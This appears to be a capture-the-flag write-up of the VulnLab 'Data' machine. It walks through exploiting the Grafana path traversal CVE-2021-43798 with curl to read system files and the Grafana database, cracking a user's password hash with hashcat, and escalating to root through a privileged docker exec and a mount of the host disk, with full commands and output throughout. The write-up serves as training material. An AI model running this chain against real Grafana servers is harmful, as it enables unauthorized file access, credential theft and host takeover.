POSTS

VULNLAB: Data

Data is an Easy Linux machine that involves exploiting CVE-2021-43798, an arbitrary file read via path traversal in Grafana. By exploiting this vulnerability, the database file for Grafana is extracted, and the hashes in the database are converted to a format readable by Hashcat. The hash is then cracked and can be used for SSH access to the target as user boris. The compromised user has the privileges to execute docker exec as root on the system, allowing the user to escalate and obtain root access by adding the privileged flag to running containers and mounting the host filesystem.

VULNLAB: Data
1226 words · 6 min

Overview

  • Type Machines
  • OS Linux
  • Severity Easy
  • Creator xct
  • Release date 2022 Jan 23

Enumeration

Start the instance via Discord and let’s go (waiting 5 min to be sure the instance is fully deployed):

image

10.10.99.27

Nmap

$ nmap -sC -sV -Pn -p- --min-rate=1000 -T4 10.10.99.27

Nmap scan report for 10.10.85.164
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8b:85:78:87:c7:8e:f2:a6:c6:38:92:28:56:ec:ba:38 (RSA)
|   256 46:e6:bd:32:1c:86:f7:66:25:02:d1:b5:75:32:8d:d9 (ECDSA)
|_  256 b0:ca:ad:d1:27:46:de:c3:14:71:5e:25:63:6a:6f:e4 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 08 Jan 2025 04:55:24 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 08 Jan 2025 04:54:46 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 08 Jan 2025 04:54:52 GMT
|_    Content-Length: 0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

CVE-2021-43798 - Grafana 8.x Path Traversal (3000/tcp) (Data_User)

We can access to a Grafana portal:

image

Grafana v8.0.0 (41f0542c1e)

Check using Google is there is any public vulnerability for this version:

image

image

Found CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)

CVE-2021-43798 allows a remote and unauthenticated attacker to read arbitrary files on a Grafana server. let’s check using a simple HTTP request:

$ curl --path-as-is http://10.10.99.27:3000/public/plugins/welcome/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Vulnerability confirmed

We can retrieve the database by going to /var/lib/grafana/grafana.db this returns us a sqlite3 database file with the hashed password and the salt used in it:

$ curl --path-as-is http://10.10.99.27:3000/public/plugins/welcome/../../../../../../../../var/lib/grafana/grafana.db --output grafana.db          
$ file grafana.db 
grafana.db: SQLite 3.x database, last written using SQLite version 3035004, file counter 343, database pages 146, cookie 0x109, schema 4, UTF-8, version-valid-for 343
$ sqlitebrowser grafana.db 

image

Found:

loginemailnamepasswordsaltrands
adminadmin@localhost7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8YObSoLj55ShLLY6QQ4Y6
borisboris@data.vlborisdc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8LCBhdtJWjlmYl941ma8w
Note

Then using Grafana2Hash, we convert the secret + salt of Grafana passwords to a hashcat usable hash:

$ go run Grafana2Hash.go dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 LCBhdtJWjl
sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=

Then crack it using Hashcat:

$ hashcat -a 0 -m 10900 boris.hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: cpu-skylake-avx512-AMD Ryzen 9 8945HS w/ Radeon 780M Graphics, 2899/5862 MB (1024 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0zUMYN82COnpm1KR5H8+XNOdFWviIHRb48vkk1PjX1O1Hag=:beautiful1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:10000:TENCaGR0SldqbA==:3GvszLtX002vSk45HSAV0...O1Hag=
Time.Started.....: Wed Jan  8 18:40:18 2025 (1 sec)
Time.Estimated...: Wed Jan  8 18:40:19 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     6128 H/s (8.45ms) @ Accel:256 Loops:1024 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2048/14344385 (0.01%)
Rejected.........: 0/2048 (0.00%)
Restore.Point....: 1024/14344385 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:9216-9999
Candidate.Engine.: Device Generator
Candidates.#1....: kucing -> lovers1
Hardware.Mon.#1..: Util: 42%

Found boris:beautiful1

We can also automate using these exploits:

$ git clone https://github.com/taythebot/CVE-2021-43798.git   
$ git clone https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798.git

We can use this credential to connect via SSH to the target and grab the flag Data_User:

$ sshpass -p 'beautiful1' ssh boris@10.10.99.27 -oStrictHostKeyChecking=accept-new -oStrictHostKeyChecking=no
Warning: Permanently added '10.10.99.27' (ED25519) to the list of known hosts.
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 5.4.0-1060-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Jan  8 09:43:45 UTC 2025

  System load:  0.0               Processes:              99
  Usage of /:   19.8% of 7.69GB   Users logged in:        0
  Memory usage: 25%               IP address for eth0:    10.10.99.27
  Swap usage:   0%                IP address for docker0: 172.17.0.1


0 updates can be applied immediately.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


Last login: Sun Jan 23 13:11:53 2022 from 10.10.1.254
boris@ip-10-10-10-11:~$ ls
snap  user.txt
boris@ip-10-10-10-11:~$ cat user.txt 
VL{fbc4248a6ec4f7936b92ec76ad0cb654}

Privilege escalation (Data_Root)

Check the SUDO privileges:

boris@ip-10-10-10-11:~$ sudo -l
Matching Defaults entries for boris on ip-10-10-10-11:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User boris may run the following commands on ip-10-10-10-11:
    (root) NOPASSWD: /snap/bin/docker exec *

We can run docker exec as root

Way 1

Check if other users exist that can be use for privilege escalation:

boris@ip-10-10-10-11:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
boris:x:1001:1001:,,,:/home/boris:/bin/bash

boris@ip-10-10-10-11:~$ ls /home
boris  ubuntu

Hummm curious because during our first read of /etc/password with the Grafana path transversal vuln, we saw a Grafana user:

grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

That shows us that it’s most likely running in a container then we can get privileged access to the container as the root user --privileged -u 0:

boris@ip-10-10-10-11:~$ sudo /snap/bin/docker exec --privileged -u 0 -it grafana /bin/sh
/usr/share/grafana # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

And now, as a privileged user within the container, we have access to /dev and are able to mount the disk of the VM and grab the flag Data_Root:

/usr/share/grafana # mkdir -p /mnt/vm
/usr/share/grafana # mount /dev/xvda1 /mnt/vm/
/usr/share/grafana # ls /mnt/vm/
bin             etc             initrd.img.old  lost+found      opt             run             srv             usr             vmlinuz.old
boot            home            lib             media           proc            sbin            sys             var
dev             initrd.img      lib64           mnt             root            snap            tmp             vmlinuz
/usr/share/grafana # cat /mnt/vm/root/root.txt 
VL{37c930a3b8b53457d080b0a6f033bc16}

Way 2

We use the LFI in Grafana to find out the container name:

$ curl --path-as-is http://10.10.99.27:3000/public/plugins/welcome/../../../../../../../../etc/hostname
e6ff5b1cbc85

We then can login to the container as root:

boris@ip-10-10-10-11:~$ sudo docker exec -it --privileged -u root e6ff5b1cbc85 bash
bash-5.1# 

And now, as root within the container, we have access to /dev and are able to mount the disk of the VM and grab the flag Data_Root:

/usr/share/grafana # mkdir -p /mnt/vm
/usr/share/grafana # mount /dev/xvda1 /mnt/vm/
/usr/share/grafana # ls /mnt/vm/
bin             etc             initrd.img.old  lost+found      opt             run             srv             usr             vmlinuz.old
boot            home            lib             media           proc            sbin            sys             var
dev             initrd.img      lib64           mnt             root            snap            tmp             vmlinuz
/usr/share/grafana # cat /mnt/vm/root/root.txt 
VL{37c930a3b8b53457d080b0a6f033bc16}

Extra

Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=ab457c14-8b48-4550-8742-f4dc7133c9b8

DATA